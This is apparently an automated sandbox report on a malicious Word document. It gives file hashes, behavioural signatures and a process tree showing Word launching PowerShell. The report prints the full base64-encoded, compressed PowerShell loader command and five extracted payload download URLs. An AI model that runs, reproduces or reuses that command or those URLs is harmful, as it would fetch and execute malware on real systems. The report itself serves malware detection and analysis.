Analysis
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max time kernel
137s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 03:11
Behavioral task
behavioral1
Sample
74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc
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Size
116KB
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MD5
74b7937d9dde45f0074f84a9b498f78a
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SHA1
1277e5b4de10821cd4639c7b7d8432c63eef80bf
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SHA256
0da2937ce8a3abe5aea37dd08b2e0d20e384dfa9fbdaa322cd65c554bbfe245f
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SHA512
056b1b624abb1ef2d5b26cac5aa6117d191309d89b6d2f4e3b4b1086d1bce450f60458c36b92b07dafb5f500346b2f298f69dd09a878383dbf69d9e18acb1d5d
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SSDEEP
1536:DD7MGWIgX0z/OGNFK+agC//4n/+ssAeTQDg4C:P79yXsE/g/+PAe8DnC
Malware Config
Extracted
https://weltcars.com/KQRlI5J2z/
http://www.lexus8.com/application/app/storage/fcUvyw/
http://tramper.cn/mYxYbKPAYL/
http://www.dadaizm.com/8NsZJvZYoy/
http://mguize.com.br/ljvj3K7/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2108 2228 PowersHeLL.exe 83 -
Blocklisted process makes network request 3 IoCs
flow pid Process 24 2108 PowersHeLL.exe 41 2108 PowersHeLL.exe 109 2108 PowersHeLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2228 WINWORD.EXE 2228 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2108 PowersHeLL.exe 2108 PowersHeLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2108 PowersHeLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2228 WINWORD.EXE 2228 WINWORD.EXE 2228 WINWORD.EXE 2228 WINWORD.EXE 2228 WINWORD.EXE 2228 WINWORD.EXE 2228 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2228 wrote to memory of 2108 2228 WINWORD.EXE 89 PID 2228 wrote to memory of 2108 2228 WINWORD.EXE 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exePowersHeLL -e KAAgAG4AZQB3AC0ATwBiAGoARQBDAHQAIAAgAHMAeQBTAFQAZQBtAC4AaQBvAC4AYwBPAE0AUAByAEUAUwBTAEkATwBOAC4AZABFAEYATABBAHQARQBzAFQAcgBlAEEAbQAoACAAWwBzAFkAUwBUAGUAbQAuAEkAbwAuAG0ARQBtAE8AcgB5AHMAdAByAGUAYQBNAF0AIABbAEMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBiAGEAUwBlADYANABzAHQAUgBJAG4ARwAoACcAVgBaAEIAdABTADgATQB3AEYASQBYAC8AUwBqADQAVQB1AHEARgBMAGMAQwBxAEsAUgBYAEQANABBAGoAcQBkADAAeQBvADYARQBTAFIATgA3ADkAYgBVAE4ASwBuAEoAWABkAHQAdAA3AEwAKwBiAFQAaQBmADQASgBTAFQAMwBuAEgATQBQAGUAWQBMAHoAeAA2AHAAVwA1AEoAUgBvAHEASABzAG0AeQBVAEUAZwBzAFYAeQBuAHAAbwBpAEMAMQAxAFQAZgBYAC8AKwBYADQAbwBWAEQASwBPAGcASQBrAEwANQBBAGMAcQA0AGsAYQBJAHkAQwBzAFIAcwBVADgAYwBnADcAdwB3AHkAeABkAEMAZQBNADEAYQBCAFEAYwBPAHUAbwBNAEEAVQBiAFAAagB5AHEANgA4AE8AYgAvAHAASwBkAHQAWABvAHIAMQB6AFYAVgAwAE0AegBkADgAYwBiAEEAeQAxAEoASgB3AFYARQBhADMAZAA2AFoAUQAyAFAANQBEAE4AaABVAFAARgBlAEwAKwBpACsARgBsAGgAYwBsAFcAQwBvADAASwB5AGIATgBKAEIAbQBPAEIANQBQAGIAZgB6AHQAVABuAG4ASwA1AEwARABaAEwAagAwAGYAdQA3AGEAWgA2AG0ANQBqAEYAbgA2AFcAWQB6AGUAVQBTAFcAcABVAG0AbABxAG0AOAB5AHYAZQBIAFIAeQB5AGsAcwBhAC8ASABUAG4AZwBXAGQAcQBOAEEAcQBaAHgALwBqAHYAMQBmAGcAZwAwAFoAcQBxAEgAQgB6AHQANAB1ADYAZQA4AGYAOQBBACsATwB2AE8ASABMAEcAYQBrAEcAcgBRAEYAMABkAGUASgBwAGwARwBTAEgAaABPACsAaABQADcAZABoAC8ANgBiAFEAUQBCAGgATgBqAFEAVQB1AHMAawA2AFEAWgAxAE8AeABGAEUAUgBxADgAZwB1AHIAdQAwAEsANwBXAFAAMABnAHAAaABlAG0AMQBzAHIAdwA5AEUAbwBxADIASAByAHAAawA0AG4AUgBTAGoAMwByAGQASABmAEoAYgAyAGsAMwBpAHAARgBiADcASQAyAHQARQBlAEQAYwBkAGgAdwBsAHYAdQBVAHoAVwBuAHUAQwBJAGwAdgBWAFYAaQBMADAATQB1AE8AUQBCAEIALwAwAHMAaABGAFEAdABtAEQAcABuAFUAOQA0AHEATgBGADYALwBRADAAPQAnACkAIAAsACAAWwBpAE8ALgBjAE8AbQBQAHIARQBTAFMAaQBPAG4ALgBjAE8ATQBwAFIARQBzAHMAaQBvAG4AbQBPAEQAZQBdADoAOgBkAGUAYwBvAE0AcABSAGUAcwBTACAAKQB8ACUAewBuAGUAdwAtAE8AYgBqAEUAQwB0ACAAIABTAHkAUwB0AGUATQAuAGkATwAuAFMAVABSAEUAQQBNAHIAZQBhAEQAZQBSACgAIAAkAF8AIAAsAFsAUwBZAFMAdABFAE0ALgBUAEUAWAB0AC4AZQBuAEMAbwBEAGkATgBnAF0AOgA6AGEAcwBjAGkAaQApAH0AIAB8ACAAJQAgAHsAIAAkAF8ALgBSAEUAYQBkAFQAbwBFAE4AZAAoACAAKQB9ACkAfAAmACAAKAAgACQAcwBIAGUAbABMAGkARABbADEAXQArACQAcwBIAGUAbABsAEkAZABbADEAMwBdACsAJwB4ACcAKQA=2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2108
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl
Filesize263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d